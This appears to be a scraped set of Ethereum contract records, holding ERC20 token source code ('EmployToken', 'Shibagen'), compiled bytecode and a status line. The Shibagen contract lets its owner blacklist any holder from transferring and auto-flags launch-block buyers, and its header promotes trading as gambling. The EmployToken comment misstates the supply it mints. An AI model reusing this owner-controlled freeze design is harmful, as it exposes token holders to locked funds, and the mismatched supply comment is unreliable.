allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract EmployToken is StandardToken, DetailedERC20 { constructor(string _name, string _symbol, uint8 _decimals, address _owner) public DetailedERC20(_name, _symbol, _decimals) { require(_owner != address(0), "Owner address should not be 0x"); totalSupply_ = 2100000000 * 10 ** uint256(decimals); // Total Supply of the ERC20 token is 210 Million balances[_owner] = totalSupply_; emit Transfer(address(0), _owner, totalSupply_); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a6b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7e565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0f565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d57565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df5565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611014565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611210565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106ee57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c657600080fd5b610817826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108aa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b8f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c23565b610ba2838261129790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ded5780601f10610dc257610100808354040283529160200191610ded565b820191906000526020600020905b815481529060010190602001808311610dd057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e7f57600080fd5b610ed0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f63826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110a582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112a557fe5b818303905092915050565b600081830190508281101515156112c357fe5b809050929150505600a165627a7a72305820d31f6a4ff388427b1268e28235137a8d4b7e37870253f89957b98fe2ccf1e21f0029
{"success": true, "error": null, "results": {}}
3,068
0x6569656ccfd22fe465de71029fb469fb0282e53e
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ /* A casino is a place that some people find similar to a hotel, where you can enjoy various types staying up all night but enjoying gambling activities at the same time. However, Casino is actually a Colosseum. It is a place for gladiators to fight, to seize, to conqueror. You either double your bet or you earn nothing if you are not a fighter material. Living in a cryptocurrency world is exactly like gambling in a Casino; you need to play to earn your profit. Shibagen is designed to tell those jeets. You either die like a gladiators or live long to see yourself becomes a stupid loser. Be bold, not jeets ! Telegram: https://t.me/shibagen */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract Shibagen is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shibagen"; string private constant _symbol = "Shibagen"; uint private constant _decimals = 9; uint256 private _teamFee = 10; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(10).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 10, "not larger than 10%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b50604080518082018252600881526729b434b130b3b2b760c11b602082015290516101a991906118b8565b60405180910390f35b3480156101be57600080fd5b506101d26101cd366004611932565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50670de0b6b3a76400005b6040519081526020016101a9565b34801561021357600080fd5b506101d261022236600461195e565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b506101706102563660046119b5565b610566565b34801561026757600080fd5b506101d2610276366004611a7a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af366004611a7a565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e4366004611a7a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d366004611a7a565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a366004611a7a565b6106dc565b34801561038b57600080fd5b506101d261039a366004611932565b610756565b3480156103ab57600080fd5b506101706103ba3660046119b5565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef366004611a7a565b610934565b34801561040057600080fd5b5061017061040f366004611a7a565b61097f565b34801561042057600080fd5b506101f961042f366004611a97565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611ad0565b610bda565b34801561048657600080fd5b50610170610495366004611a7a565b610c50565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c490611ae9565b60405180910390fd5b60006104d830610684565b90506104e381610ce8565b50565b60006104f3338484610e62565b5060015b92915050565b600061050a848484610f86565b61055c843361055785604051806060016040528060288152602001611c64602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113a1565b610e62565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f8576000600560008484815181106105b4576105b4611b1e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f081611b4a565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f7906113db565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c490611ae9565b6106da600061145f565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c490611ae9565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610f86565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c490611ae9565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc611b1e565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f9611b1e565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a611b1e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087481611b4a565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1661090a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c4565b600c805460ff60b81b1916600160b81b17905542600d81905561092f9061012c611b65565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c490611ae9565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611b7d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611b7d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611b7d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c490611ae9565b600a811115610c4b5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031302560681b60448201526064016104c4565b600855565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016104c490611ae9565b6001600160a01b038116610cdf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e38161145f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3057610d30611b1e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dad9190611b7d565b81600181518110610dc057610dc0611b1e565b6001600160a01b039283166020918202929092010152600b54610de69130911684610e62565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1f908590600090869030904290600401611b9a565b600060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610f255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b03821661104c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b600081116110ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c4565b6001600160a01b03831660009081526005602052604090205460ff16156111565760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c4565b6001600160a01b03831660009081526004602052604081205460ff1615801561119857506001600160a01b03831660009081526004602052604090205460ff16155b80156111ae5750600c54600160a81b900460ff16155b80156111de5750600c546001600160a01b03858116911614806111de5750600c546001600160a01b038481169116145b1561138f57600c54600160b81b900460ff1661123c5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561126b5750600b546001600160a01b03848116911614155b8015611278575042600e54115b156112bf57600061128884610684565b90506112a860646112a2670de0b6b3a764000060036114af565b9061152e565b6112b28483611570565b11156112bd57600080fd5b505b600d544214156112ed576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f830610684565b600c54909150600160b01b900460ff161580156113235750600c546001600160a01b03868116911614155b1561138d57801561138d57600c54611357906064906112a290600a90611351906001600160a01b0316610684565b906114af565b81111561138457600c54611381906064906112a290600a90611351906001600160a01b0316610684565b90505b61138d81610ce8565b505b61139b848484846115cf565b50505050565b600081848411156113c55760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c0b565b95945050505050565b60006006548211156114425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b600061144c6116d2565b9050611458838261152e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114be575060006104f7565b60006114ca8385611c22565b9050826